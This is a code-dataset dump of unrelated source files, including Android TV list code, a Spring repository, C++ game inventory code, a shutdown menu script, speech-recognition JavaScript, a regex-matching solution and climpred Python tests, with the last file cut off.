((GridLayoutManager) layoutManager).findLastVisibleItemPosition(); } } return RecyclerView.NO_POSITION; } /** * 滑动到底部. */ public int findLastCompletelyVisibleItemPosition() { LayoutManager layoutManager = getLayoutManager(); if (layoutManager != null) { if (layoutManager instanceof LinearLayoutManager) { return ((LinearLayoutManager) layoutManager).findLastCompletelyVisibleItemPosition(); } if (layoutManager instanceof GridLayoutManager) { return ((GridLayoutManager) layoutManager).findLastCompletelyVisibleItemPosition(); } } return RecyclerView.NO_POSITION; } public int findFirstVisibleItemPosition() { LayoutManager lm = getLayoutManager(); if (lm != null) { if (lm instanceof LinearLayoutManager) { return ((LinearLayoutManager) lm).findFirstVisibleItemPosition(); } if (lm instanceof GridLayoutManager) { return ((GridLayoutManager) lm).findFirstVisibleItemPosition(); } } return RecyclerView.NO_POSITION; } /////////////////// 按键加载更多 end end end ////////////////////////// /////////////////// 按键拖动 Item start start start /////////////////////// private final ArrayList<OnItemKeyListener> mOnItemKeyListeners = new ArrayList<OnItemKeyListener>(); public static interface OnItemKeyListener { public boolean dispatchKeyEvent(KeyEvent event); } public void addOnItemKeyListener(OnItemKeyListener listener) { mOnItemKeyListeners.add(listener); } public void removeOnItemKeyListener(OnItemKeyListener listener) { mOnItemKeyListeners.remove(listener); } @Override public boolean onInterceptTouchEvent(MotionEvent e) { return super.onInterceptTouchEvent(e); } ////////////////// 按键拖动 Item end end end ///////////////////////// /** * 设置默认选中. */ public void setDefaultSelect(int pos) { GeneralAdapter.ViewHolder vh = (GeneralAdapter.ViewHolder) findViewHolderForAdapterPosition(pos); requestFocusFromTouch(); if (vh != null) vh.itemView.requestFocus(); } public OnItemClickListener getOnMovieItem() { return onMovieItem; } public void setOnMovieItem(OnItemClickListener onMovieItem) { this.onMovieItem = onMovieItem; } OnItemClickListener onMovieItem = new OnItemClickListener() { @Override public void onItemClick(RecyclerViewTV parent, final View itemView, final int position) { // ObjectAnimator objectAnimator = new ObjectAnimator(itemView,10f,10f); itemView.clearAnimation(); ScaleAnimation anim = new ScaleAnimation(1f, 0.9f, 1f, 0.9f,Animation.RELATIVE_TO_SELF, 0.5f, Animation.RELATIVE_TO_SELF, 0.5f); // anticipate_interpolator anim.setInterpolator(new AnticipateInterpolator()); anim.setDuration(300); anim.setAnimationListener(new Animation.AnimationListener() { @Override public void onAnimationStart(Animation animation) { } @Override public void onAnimationEnd(Animation animation) { Object tag = itemView.getTag(id); Intent intent = new Intent(getContext(),activity); Log.e("TAA","点击详情页:________"+tag+"___________"+position); if(tag instanceof HomeBean.DataBean.DyBean){ Log.e("TAA","进入--HomeBean.DataBean.DyBean"); HomeBean.DataBean.DyBean dyBean = (HomeBean.DataBean.DyBean) tag; Log.e("TAA","点击:_____详情页:"+tag+"___________"+dyBean.getBg()+"_______"+(dyBean.getBg()==null)); if(dyBean.getMovie_id() != null && dyBean.getBg() == null && !"gd".equals(dyBean.getTag())) { intent.putExtra("type", "dy"); intent.putExtra("title", dyBean.getTitle()); intent.putExtra("movie_id", dyBean.getMovie_id()); XiaoCuiTag.setCaCheBitMap(dyBean.getCache_Bitmap()); }else if ("gd".equals(dyBean.getTag())) { Intent allMovieIntent = new Intent(getContext(),allMovie); getContext().startActivity(allMovieIntent); return; }else if(dyBean.getBg() != null){ Toast.makeText(getContext(), "进入专题", Toast.LENGTH_SHORT).show(); Intent zhuantiIntent = new Intent(getContext(),zhuanTi); zhuantiIntent.putExtra("bg_img",dyBean.getBg()); zhuantiIntent.putExtra("id",dyBean.getMovie_id()); getContext().startActivity(zhuantiIntent); return; } }else if(tag instanceof Pg_DetailBean){ Log.e("TAA","进入--ovieDetailBean.DataBean.TuijianBean"); Pg_DetailBean dyBean = (Pg_DetailBean) tag; intent.putExtra("type","dy"); intent.putExtra("title", dyBean.getDetail().get(0).getName()); // XiaoCuiTag.setCaCheBitMap(dyBean.getPic()); intent.putExtra("movie_id",dyBean.getDetail().get(0).getId()+""); Log.e("TAA","点击详情页__:"+dyBean.getDetail().get(0).getId()+"_________:"+dyBean.getDetail().get(0).getName()); }else if(tag instanceof HomeBean.DataBean.LunboBean){ Log.e("TAA","进入--HomeBean.DataBean.LunboBean"); HomeBean.DataBean.LunboBean dyBean = (HomeBean.DataBean.LunboBean) tag; intent.putExtra("type","lunbo"); intent.putExtra("res_id",dyBean.getRes_id()); }else if(tag instanceof ZhuanTiBean.DataBean){ Log.e("TAA","进入--ZhuanTiBean.DataBean"); ZhuanTiBean.DataBean dyBean = (ZhuanTiBean.DataBean) tag; if ("gd".equals(dyBean.getTag())) { Intent allMovieIntent = new Intent(getContext(),allMovie); getContext().startActivity(allMovieIntent); return; }else { intent.putExtra("type", "dy"); intent.putExtra("title", dyBean.getTitle()); intent.putExtra("movie_id", dyBean.getId()); } }else if (tag instanceof Pg_DetailBean.ListBean){ Log.e("TAA","进入Pg_DetailBean.ListBean"); Pg_DetailBean.ListBean dyBean = (Pg_DetailBean.ListBean) tag; intent.putExtra("type" , "dy"); intent.putExtra("title" , dyBean.getTitle()+""); intent.putExtra("movie_id" , dyBean.getId()+""); Log.e("TAG", "onAnimationEnd:" + dyBean.getId() + "___:" + dyBean.getTitle() ); } getContext().startActivity(intent); } @Override public void onAnimationRepeat(Animation animation) { } }); itemView.setAnimation(anim); } }; private int id ; public Class activity ; public Class allMovie; public Class zhuanTi; public void setOnChildClick(final int id, final Class activity,final Class allMovie,final Class zhuanTi) { this.id = id;this.activity = activity; this.allMovie = allMovie; this.zhuanTi=zhuanTi; // GeneralAdapter.ViewHolder vh = (GeneralAdapter.ViewHolder) findViewHolderForAdapterPosition(pos); Log.e("TAG", "setOnChildClick: " + id); post(new Runnable() { @Override public void run() { for(int x = 0 ; x < getChildCount() ; x ++){ if(((ViewGroup)((ViewGroup)getChildAt(x)).getChildAt(1))==null){ continue; } Log.e("TAA","AAA:"+x); RecyclerViewTV recyclerViewChild = (RecyclerViewTV) ((ViewGroup)((ViewGroup)getChildAt(x)).getChildAt(1)).getChildAt(0); recyclerViewChild.setOnItemClickListener(onMovieItem); } } }); } }
Java
UTF-8
540
1.945313
2
[]
no_license
package com.cric.repo; import java.util.List; import org.springframework.data.jpa.repository.JpaRepository; import org.springframework.data.jpa.repository.Query; import org.springframework.data.repository.query.Param; import com.cric.entity.Team; public interface TeamRepo extends JpaRepository<Team, Integer> { @Query("from Team as t where t.user.id =:userId") public List<Team> findTeamByUser(@Param("userId")int userId); @Query("from Team as t where t.name =:tname") public Team findByName(@Param("tname")String name); }
C++
UTF-8
2,212
2.703125
3
[]
no_license
#include "clientInventory.hpp" const ItemInfo& ClientInventoryItem::getUniqueItem() const { return ::getItemInfo(type); } void ClientInventoryItem::setStack(unsigned short stack_) { if(stack != stack_) { stack = stack_; stack_texture.renderText(std::to_string(stack)); } } unsigned short ClientInventoryItem::getStack() const { return stack; } unsigned short ClientInventoryItem::increaseStack(unsigned short stack_) { int stack_to_be = stack + stack_, result; if(stack_to_be > getUniqueItem().stack_size) stack_to_be = getUniqueItem().stack_size; result = stack_to_be - stack; setStack((unsigned short)stack_to_be); return (unsigned short)result; } void ClientInventoryItem::render() const { const gfx::Image& texture = resource_pack->getItemTexture(type); texture.render(4, x + INVENTORY_UI_SPACING / 2, y + INVENTORY_UI_SPACING / 2); if(stack > 1) stack_texture.render(1, x + BLOCK_WIDTH * 2 - stack_texture.getTextureWidth() + INVENTORY_UI_SPACING / 2, y + BLOCK_WIDTH * 2 - stack_texture.getTextureHeight() + INVENTORY_UI_SPACING / 2); } void ClientInventoryItem::renderWithBack() const { gfx::Color color = GREY; color.a = TRANSPARENCY; gfx::RectShape(x, y, INVENTORY_ITEM_BACK_RECT_WIDTH, INVENTORY_ITEM_BACK_RECT_WIDTH).render(isHovered() ? GREY : color); render(); } ClientInventoryItem& ClientInventoryItem::operator=(const ClientInventoryItem& item) { resource_pack = item.resource_pack; type = item.type; setStack(item.getStack()); return *this; } bool ClientInventoryItem::isHovered() const { return gfx::getMouseX() > x && gfx::getMouseY() > y && gfx::getMouseX() < x + INVENTORY_ITEM_BACK_RECT_WIDTH && gfx::getMouseY() < y + INVENTORY_ITEM_BACK_RECT_WIDTH; } void DisplayRecipe::updateResult() { result_display.type = recipe->result.type; result_display.setStack(recipe->result.stack); } void DisplayRecipe::render() { result_display.renderWithBack(); } DisplayRecipe::DisplayRecipe(const Recipe* recipe, ResourcePack* resource_pack, int x, int y) : recipe(recipe), result_display(resource_pack) { result_display.x = x; result_display.y = y; }
Shell
UTF-8
793
3.1875
3
[ "MIT" ]
permissive
#! /bin/bash action=$( yad --width 300 --entry --title "System Logout" \ --image=gnome-shutdown --button="Switch User:2" --button="gtk-ok:0" --button="gtk-close:1" \ --text "Choose action:" --entry-text "Power Off" "Reboot" "Suspend" "Logout" ) ret=$? [[ $ret -eq 1 ]] && exit 0 if [[ $ret -eq 2 ]] ; then gdmflexiserver --startnew & exit 0 fi case $action in Power*) cmd="sudo /sbin/poweroff" ;; Reboot*) cmd="sudo /sbin/reboot" ;; Suspend*) cmd="sudo /bin/sh -c 'echo disk > /sys/power/state'" ;; Logout*) case $(wmctrl -m | grep Name) in *Openbox) cmd="openbox --exit" ;; *FVWM) cmd="FvwmCommand Quit" ;; *Metacity) cmd="gnome-save-session --kill" ;; *) exit 1 ;; esac ;; *) exit 1 ;; esac eval exec $cmd
JavaScript
UTF-8
2,717
2.671875
3
[]
no_license
window.SpeechRecognition = window.SpeechRecognition || webkitSpeechRecognition; var recognition = new webkitSpeechRecognition(); recognition.lang = 'ja'; recognition.continuous = true; recognition.interimResults = true; let finalTranscript = ''; recognition.onresult = function (event) { let interimTranscript = ''; for (let i = event.resultIndex; i < event.results.length; i++) { let transcript = event.results[i][0].transcript; if (event.results[i].isFinal) { transcript += "。\n"; finalTranscript += transcript; } else { interimTranscript = transcript; } } document.getElementById("result_text").innerHTML = finalTranscript + interimTranscript; } function play() { const text = new SpeechSynthesisUtterance(result_text.value); speechSynthesis.speak(text); document.getElementById("play").disabled = true; document.getElementById("stop").disabled = false; document.getElementById("halt").disabled = false; document.getElementById("restart").disabled = true; } function stop() { speechSynthesis.cancel(); document.getElementById("play").disabled = false; document.getElementById("stop").disabled = true; document.getElementById("halt").disabled = true; document.getElementById("restart").disabled = true; } function halt() { speechSynthesis.pause(); document.getElementById("play").disabled = true; document.getElementById("halt").disabled = true; document.getElementById("restart").disabled = false; document.getElementById("stop").disabled = false; } function restart() { speechSynthesis.resume(); document.getElementById("play").disabled = true; document.getElementById("restart").disabled = true; document.getElementById("stop").disabled = false; document.getElementById("halt").disabled = false; } function reset() { document.getElementById("result_text").innerHTML = ""; finalTranscript = ''; speechSynthesis.cancel(); document.getElementById("play").disabled = true; document.getElementById("stop").disabled = true; document.getElementById("halt").disabled = true; document.getElementById("restart").disabled = true; } function recStart() { document.getElementById("blink").innerHTML = '<div id="blinkStart"><i class="material-icons">keyboard_voice</i><span>REC</span></div>'; document.getElementById("reset").disabled = true; document.getElementById("play").disabled = true; document.getElementById("recStart").disabled = true; } function recStop() { document.getElementById("blinkStart").innerHTML = '<div id="blink"></div>'; document.getElementById("reset").disabled = false; document.getElementById("play").disabled = false; document.getElementById("recStart").disabled = false; }
Python
UTF-8
2,002
3.625
4
[]
no_license
""" '.' Matches any single character. '*' Matches zero or more of the preceding element. The matching should cover the entire input string (not partial). """ def matched(s, p): regex = [] for c in p: if c == "*": regex[-1] += "*" else: regex.append(c) return matched_imp(s, 0, regex, 0) def matched_imp(s, i, p, j): if j == len(p): return len(s) == i if p[j][-1] != "*": if p[j] == "." or (i < len(s) and p[j] == s[i]): return matched_imp(s, i+1, p, j+1) else: if matched_imp(s, i, p, j+1): return True k = i while k < len(s) and (s[k] == p[j][0] or p[j][0] == "."): k += 1 if matched_imp(s, k, p, j+1): return True return False # f[i][j]: if s[0..i-1] matches p[0..j-1] # if p[j - 1] != '*' # f[i][j] = f[i - 1][j - 1] && s[i - 1] == p[j - 1] # if p[j - 1] == '*', denote p[j - 2] with x # f[i][j] is true iff any of the following is true # 1) "x*" repeats 0 time and matches empty: f[i][j - 2] # 2) "x*" repeats >= 1 times and matches "x*x": s[i - 1] == x && f[i - 1][j] def matched_dp(s, p): if not s and not p: return True dp = [False] * (len(p) + 1) dp[0] = True prev = False for i in range(len(s) + 1): for j in range(1, len(p) + 1): tmp = dp[j] if p[j - 1] == "*": dp[j] = ( dp[j-2] or (i > 0 and dp[j] and (s[i-1] == p[j-2] or p[j-2] == "."))) else: dp[j] = ( i > 0 and prev and (s[i-1] == p[j-1] or p[j-1] == ".")) prev = tmp prev = dp[0] dp[0] = False return dp[-1] print(matched_dp("a", "ab*")) print(matched_dp("aaa", "a*")) print(matched_dp("ab", ".*c")) print(matched_dp("aa", "a")) print(matched_dp("", ""))
Java
UTF-8
390
2.046875
2
[]
no_license
package com.pp.database.model.scrapper.descriptor.signature; import org.mongodb.morphia.annotations.Entity; import javax.xml.bind.annotation.XmlRootElement; @XmlRootElement @Entity("DomSignature") public class DomSignatureModel extends SignatureModel{ public DomSignatureModel(){ super(); } public DomSignatureModel(SignatureType type,String value){ super(type,value); } }
Markdown
UTF-8
1,214
2.671875
3
[]
no_license
--- title: トロピカルリカー -Tropical Liquor- X-rated bbslink: https://forum.say-huahuo.com/thread-25431-1-1.html imgurl: https://www.say-huahuo.com/data/attachment/forum/201805/15/202511lgx2uayzfb8eft8r.jpg --- 歡迎來到熱帶島嶼! 「誰叫哥哥是個不起眼的飛特族呢? 而且年齡=沒有女朋友的期間對吧?」 主角(你)是個每天過著平凡生活, 外表不起眼的飛特族。 某天,你在商店街的抽獎活動中抽中南島之旅渡假券, 準備在南國小島上度過30天假期。 「我……想要度過一個美好假期……! 我想要趁這段假期改變自己……!」 你決定,要在這段假期中脫離不起眼男的身分, 並且交到女朋友。 「為了交到女朋友,首先得跟女孩子打好關係才行! 沒有跟女孩子打好關係的話,一切都開始不了!」 這段假期間,你會邂逅許多抱著煩惱的女性。 跟這些女性聊天、 喝酒、約會等等的機會將會降臨在你身上。 「我們各自度過一段美好假期吧」 究竟,你是否能夠在這段假期間擺脫不起眼男名號, 順利交到女朋友呢?<!--more-->
C++
GB18030
1,779
2.59375
3
[]
no_license
#include "../include/DataBus.h" CReceivingArray::CReceivingArray(){ SEMA_INIT(m_sema,0,MAX_ARRAY_LENGTH); MUTEX_INIT(m_lock); m_count = 0; for(u_short i=0;i<MAX_ARRAY_LENGTH;i++) { m_topics[i]=0; } } CReceivingArray::~CReceivingArray() { for(u_short i=0;i<MAX_ARRAY_LENGTH;i++) { if(m_topics[i]!=0) { if (NULL!=m_topics[i]->buf_) { free( m_topics[i]->buf_); } delete m_topics[i]; } } SEMA_DESTROY(m_sema); MUTEX_DESTROY(m_lock); } int CReceivingArray::AddTopic(TopicID topic){ return 1; } int CReceivingArray::RemoveTopic(TopicID topic){ return 1; } /*ϲӦõøûȡϵݣͨCPrioSettingTestȷ*/ int CReceivingArray::Receive(TopicID& topic, char*& data , int& length) { int ret=-1; DWORD dw=SEMA_WAIT(m_sema); MUTEX_LOCK(m_lock); for(u_short i=0;i<MAX_ARRAY_LENGTH;i++) { if(m_topics[i]!=0 ) { //ȡ data = (char*)malloc(m_topics[i]->len_); memcpy((void*)data , (void*)(m_topics[i]->buf_) , m_topics[i]->len_); length = m_topics[i]->len_; topic = m_topics[i]->topic_; ret=1; free(m_topics[i]->buf_); delete m_topics[i]; m_topics[i] = 0; break; } } MUTEX_UNLOCK(m_lock); m_count-=1; return ret; } /*CDataFlowøýӿڽϵݴ뻺*/ int CReceivingArray::Send(TopicID topic, char* data , int length) { int len=-1; MUTEX_LOCK(m_lock); for(u_short i=0;i<MAX_ARRAY_LENGTH;i++) { if(m_topics[i] == 0) { m_topics[i] = new struct TopicArray; m_topics[i]->topic_ = topic; m_topics[i]->len_ = length; m_topics[i]->buf_ = (char*)malloc(length); memcpy((void*)(m_topics[i]->buf_) , (void*)data , length); break; } } MUTEX_UNLOCK(m_lock); SEMA_POST(m_sema); m_count+=1; return len; }
C#
UTF-8
783
2.734375
3
[]
no_license
using System.Collections.Generic; using System.Linq; using DataGenerator.Models.DataTypes; namespace DataGenerator.Models.DataFinal { public class CreatorFinalData { public static List<FinalDataUnit> Create(IEnumerable<DataType> dataTypes, int number) { List<FinalDataUnit> resList = new List<FinalDataUnit>(number); for (int i = 0; i < number; i++) { resList.Add(new FinalDataUnit()); } foreach (var item in dataTypes) { for (int i = 0; i < number ; i++) { resList.ElementAt(i).SetProperty(item.Title, item.ElementList.ElementAt(i)); } } return resList; } } }
Markdown
UTF-8
1,859
2.671875
3
[]
no_license
--- layout: post title: "Picks / what the vienna.rb team thinks is worth sharing this week" date: 2014-11-05 20:00 published: true comments: true categories: - picks --- ### 11/05 Picks! In a series on this website we'll entertain YOU with our picks - or: what we think is worth sharing - every week. Books, articles, gems, fun stuff... you're in for an eclectic mix! So, here's for the seventy-ninth edition: ##### [Laura][1]: - [Ecrire][2] - A blog engine for developers - [Sysadmincasts][3] - Don't leave out the sysadmins! There's screencasts for them too.. - [Nokogiri Cheatsheet][4] - Working with Nokogiri made easy ##### [Ben][9]: - [Neural Networks][10] - Hacker's guide to Neural Networks - [The CAP FAQ][11] - A short FAQ which answers all your questions about the CAP theorem. - [Kill all your Redis][12] - Game Day Exercises at Stripe: Learning from `kill -9` ##### [Floor][17]: - [TIS][18] - Tetris clone in 4kb of JavaScript - [tty][19] - A simple progress bar gem, with a great Readme - [GitHub’s code search use case][20] - Where do you learn how to use a feature/gem/project, if not from its documentation? [1]: http://www.twitter.com/alicetragedy [2]: https://github.com/pothibo/ecrire [3]: https://sysadmincasts.com [4]: https://github.com/sparklemotion/nokogiri/wiki/Cheat-sheet [5]: http://www.twitter.com/alexandertacho [6]: [7]: [8]: [9]: http://www.twitter.com/beanieboi [10]: http://karpathy.github.io/neuralnets/ [11]: http://henryr.github.io/cap-faq/ [12]: https://stripe.com/blog/game-day-exercises-at-stripe [13]: http://www.twitter.com/tony_xpro [14]: [15]: [16]: [17]: http://www.twitter.com/floordrees [18]: http://ttencate.github.io/tis/ [19]: https://github.com/peter-murach/tty-progressbar [20]: http://www.justinweiss.com/blog/2014/10/28/how-to-go-beyond-documentation-and-learn-a-new-library/
JavaScript
UTF-8
956
3
3
[]
no_license
var currPosition; navigator.geolocation.getCurrentPosition(function(position) { updatePosition(position); setInterval(function(){ var lat = currPosition.coords.latitude; var lng = currPosition.coords.longitude; jQuery.ajax({ type: "POST", url: "/updatelocation", data: 'lat='+lat+'&long='+lng, cache: false }); }, 1000); }, errorCallback, {timeout:10000}); var watchID = navigator.geolocation.watchPosition(function(position) { updatePosition(position); }); function updatePosition( position ){ currPosition = position; } function errorCallback(error) { var msg = "Can't get your location. Error = "; if (error.code == 1) msg += "PERMISSION_DENIED"; else if (error.code == 2) msg += "POSITION_UNAVAILABLE"; else if (error.code == 3) msg += "TIMEOUT"; msg += ", msg = "+error.message; //alert(msg); }
Markdown
UTF-8
325
2.59375
3
[ "MIT" ]
permissive
--- permalink: "/minutes/" title: "Minutes" --- The committee holds a meeting every two weeks during term time. Meetings are usually held in Forrest Hill. <ul> {% for meeting in site.minutes reversed %} <li><a href="{{ site.baseurl }}{{ meeting.url }}">{{ meeting.date | date: "%a, %d %B %Y" }}</a></li> {% endfor %} </ul>
Java
UTF-8
3,439
3.375
3
[]
no_license
package simplilearnphase1project; import java.io.IOException; import java.util.Scanner; public class LockedMe { // Print stars public void printStars() { int i = 0; while(i < 10) { System.out.print("*"); i++; } System.out.println(); } public static void main(String[] args) throws IOException { WelcomeScreen welcome_screen = new WelcomeScreen(); FileHandling file_handling = new FileHandling(); LockedMe lockedMe = new LockedMe(); @SuppressWarnings("resource") Scanner scanner = new Scanner(System.in); welcome_screen.welcomeScreen(); lockedMe.printStars(); String file_name; boolean innerStatus = true; boolean status = true; while(status) { welcome_screen.optionScreen(); lockedMe.printStars(); System.out.println("Please select an option what you want do : "); int choice = scanner.nextInt(); // Switch statement switch(choice) { case 1: file_handling.displayFiles(); break; case 2: innerStatus = true; while(innerStatus) { welcome_screen.innerOptionScreen(); lockedMe.printStars(); System.out.println(); System.out.println("Please enter your choice : "); int innerChoice = scanner.nextInt(); // Inner Switch statement switch(innerChoice) { case 1: System.out.println("Please enter file name : "); file_name = scanner.next(); scanner.nextLine(); file_handling.createFile(file_name); lockedMe.printStars(); System.out.println(); System.out.println("If you want to add something in file please yes or no (Y/N) or (y/n) :"); char innerAction = scanner.next().charAt(0); scanner.nextLine(); while(true) { if(innerAction == 'y' || innerAction == 'Y') { System.out.println("Please enter what you want to add in file : "); String data = scanner.next(); scanner.nextLine(); file_handling.write(file_name, data); break; } if(innerAction == 'n' || innerAction == 'N') { break; } else { System.out.println("Please select a correct option (Y/N) or (y/n) : "); innerAction = scanner.next().charAt(0); scanner.nextLine(); } } break; case 2: System.out.println("Please enter the file name which you want to delete : "); file_name = scanner.next(); scanner.nextLine(); file_handling.deleteFile(file_name); lockedMe.printStars(); System.out.println(); break; case 3: System.out.println("Please enter file name which you want to search : "); file_name = scanner.next(); scanner.nextLine(); file_handling.searchFile(file_name); lockedMe.printStars(); System.out.println(); break; case 4: innerStatus = false; break; default: System.out.println("Please choose a correct option !"); lockedMe.printStars(); System.out.println(); break; // End inner switch statement } } break; case 3: System.out.println("Application closed successfully ! "); lockedMe.printStars(); System.out.println(); System.exit(0); break; default: System.out.println("Please select a correct option !"); lockedMe.printStars(); System.out.println(); break; } } } }
Java
UTF-8
781
3.203125
3
[]
no_license
import java.util.Random; import java.util.Vector; import java.lang.Integer; public class RandomInputGenerator { public static void main(String[] args) { // TODO Auto-generated method stub RandomInput ri= new RandomInput(); Vector<Integer> vector= ri.getVector(); System.out.print("Input random aruncari:{"); for(int i=0;i<vector.size();i++) { System.out.print(vector.get(i)+","); } System.out.println("}"); System.out.println(); Joc joc= new Joc(); for(int i=0;i<vector.size();i++) { try { joc.aruncaMingea(vector.get(i)); } catch(AruncareInvalida aruncare){ System.out.println("Aruncare invalida!!"); // nu e final!!!! } } joc.printJoc(); } }
Python
UTF-8
809
2.875
3
[ "MIT" ]
permissive
from .extension import Extension class MathJax(Extension): def run(self, code, path): return mathjaxify(code) def mathjaxify(code): splitted = code.split("$$") result = "" for i, section in enumerate(splitted): if i % 2: section = section \ .replace('<em>', '*') \ .replace('</em>', '*') \ .replace('&lt;', '<') \ .replace('&gt;', '>') \ .replace("&amp;", "&") \ .replace("\\left{", "\\left[") \ .replace("\\right.", "\\right]") \ .replace("\\\n", "\\\\\n") result += "<script type='math/tex'>" result += section result += "</script>" else: result += section return result
Java
UTF-8
6,708
2.09375
2
[]
no_license
/* Zipeg for Google App Engine components License Copyright (c) 2006-2011, Leo Kuznetsov All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. Neither the name of the Zipeg nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. http://www.opensource.org/licenses/BSD-3-Clause */ package com.zipeg.gae; import java.io.*; import java.security.*; import static com.zipeg.gae.util.*; /** @noinspection UnusedDeclaration */ public class io { // include file prefix. content of file is treated as a list of other filenames to combine private static final char INCLUDE = '_'; public static boolean exists(File f) { try { return f.exists(); } catch (AccessControlException x) { return false; } } public static boolean isDirectory(File f) { try { return f.isDirectory(); } catch (AccessControlException x) { return false; } } public static boolean isIncludeFile(File f) { String n = f.getName(); return n.length() > 0 && n.charAt(0) == INCLUDE; } public static File makeIncludeFile(File f) { return new File(f.getParent(), INCLUDE + f.getName()); } public static byte[] readFully(File f) { if (isIncludeFile(f)) { return combine(f); } else { return readFileContentFully(f); } } private static byte[] readFileContentFully(File f) { try { return readFullyAndClose(new FileInputStream(f)); } catch (FileNotFoundException e) { throw new Error(e); } } public static void close(InputStream s) { try { if (s != null) { s.close(); } } catch (IOException e) { rethrow(e); } } public static String getMimeTypeFromFilename(String name) { name = name.toLowerCase(); if (name.equals("update.txt")) return "application/octet-stream"; if (name.endsWith(".css")) return "text/css"; if (name.endsWith(".ico")) return "image/x-icon"; if (name.endsWith(".png")) return "image/png"; if (name.endsWith(".gif")) return "image/gif"; if (name.endsWith(".jpg")) return "image/jpeg"; if (name.endsWith(".jpeg")) return "image/jpeg"; if (name.endsWith(".html")) return "text/html"; if (name.endsWith(".htm")) return "text/html"; if (name.endsWith(".xhtml")) return "application/xhtml+xml"; if (name.endsWith(".js")) return "application/javascript"; if (name.endsWith(".dmg")) return "application/x-apple-diskimage"; if (name.endsWith(".exe")) return "application/octet-stream"; return "text/plain"; } private static byte[] combine(File f) { String s = new String(readFileContentFully(f)); String[] lines = s.split("\\r?\\n"); int total = 0; for (String line : lines) { String t = line.trim(); if (t.length() > 0 && !t.startsWith("#")) { File i = new File(f.getParentFile(), t); if (i.exists()) { total += i.length(); /* stdio.err.println(i + " last modified:" + new Date(i.lastModified())); */ } else { throw new Error("file " + i + " not found."); } } } byte[] content = new byte[total]; int offset = 0; for (String line : lines) { String t = line.trim(); if (t.length() > 0 && !t.startsWith("#")) { File i = new File(f.getParentFile(), t); byte[] buf = readFileContentFully(i); System.arraycopy(buf, 0, content, offset, buf.length); offset += buf.length; } } return content; } public static long lastModified(File f) { if (!isIncludeFile(f)) { return f.lastModified(); } else { String s = new String(readFileContentFully(f)); String[] lines = s.split("\\r?\\n"); long lastModified = f.lastModified(); for (String line : lines) { String t = line.trim(); if (t.length() > 0 && !t.startsWith("#")) { File i = new File(f.getParentFile(), t); if (i.exists()) { lastModified = Math.max(lastModified, i.lastModified()); } else { throw new Error("file " + i + " not found."); } } } return lastModified; } } public static byte[] readFully(InputStream is) { try { int len = Math.max(4096, is.available()); ByteArrayOutputStream baos = new ByteArrayOutputStream(len); byte[] buf = new byte[len]; for (;;) { int k = is.read(buf); if (k <= 0) { return baos.toByteArray(); } baos.write(buf, 0, k); } } catch (IOException e) { throw new Error(e); } } public static byte[] readFullyAndClose(InputStream is) { try { return readFully(is); } finally { close(is); } } }
Java
UTF-8
825
2.8125
3
[]
no_license
import java.util.ArrayList; import java.util.List; /** * @Classname P46Permute * @Description TODO * @Date 2019/6/5 21:31 * @Created by Anigy * @Email kingjya@163.com * @Leetcode https://github.com/ */ public class P46Permute { public List<List<Integer>> re = new ArrayList<>(); public List<List<Integer>> permute(int[] nums) { backtrack(nums, new ArrayList<>()); return re; } public void backtrack(int[] nums, List<Integer> list) { if (list.size() == nums.length) { re.add(new ArrayList<>(list)); return; } for (int i = 0; i < nums.length; i++) { if (!list.contains(nums[i])) { list.add(nums[i]); backtrack(nums, list); list.remove(list.size() - 1); } } } }
Python
UTF-8
3,810
2.609375
3
[ "MIT" ]
permissive
import numpy as np import pandas as pd import pytest import xarray as xr from climpred import HindcastEnsemble, PerfectModelEnsemble NLEADS = 5 NMEMBERS = 3 NINITS = 10 START = "1990" HindcastEnsemble_verify_kw = dict( metric="rmse", comparison="e2o", dim="init", alignment="maximize" ) PerfectModelEnsemble_verify_kw = dict(metric="rmse", comparison="e2c", dim="init") @pytest.fixture( params=[ "seconds", "minutes", "hours", "days", "pentads", "weeks", "months", "seasons", "years", ] ) def HindcastEnsemble_time_resolution(request): """Create HindcastEnsemble of given lead time resolution.""" if request.param == "pentads": freq = "5D" elif request.param == "weeks": freq = "7D" elif request.param == "minutes": freq = "T" elif request.param in "months": freq = "MS" elif request.param == "seasons": freq = "QS" elif request.param == "years": freq = "YS" else: freq = request.param[0].upper() # create initialized init = xr.cftime_range(START, freq=freq, periods=NINITS) lead = np.arange(NLEADS) member = np.arange(NMEMBERS) initialized = xr.DataArray( np.random.rand(len(init), len(lead), len(member)), dims=["init", "lead", "member"], coords=[init, lead, member], ).to_dataset(name="var") initialized.lead.attrs["units"] = request.param # create observations time = xr.cftime_range(START, freq=freq, periods=NINITS + NLEADS) obs = xr.DataArray( np.random.rand(len(time)), dims=["time"], coords=[time] ).to_dataset(name="var") # climpred.PredictionEnsemble hindcast = HindcastEnsemble(initialized).add_observations(obs) return hindcast def test_HindcastEnsemble_time_resolution_verify(HindcastEnsemble_time_resolution): """Test that HindcastEnsemble.verify() in any lead time resolution works.""" assert ( HindcastEnsemble_time_resolution.verify(**HindcastEnsemble_verify_kw) .notnull() .any() ) def test_PerfectModelEnsemble_time_resolution_verify(HindcastEnsemble_time_resolution): """Test that PerfectModelEnsemble.verify() in any lead time resolution works.""" pm = PerfectModelEnsemble(HindcastEnsemble_time_resolution.get_initialized()) assert pm.verify(**PerfectModelEnsemble_verify_kw).notnull().any() @pytest.mark.parametrize( "lead_res", 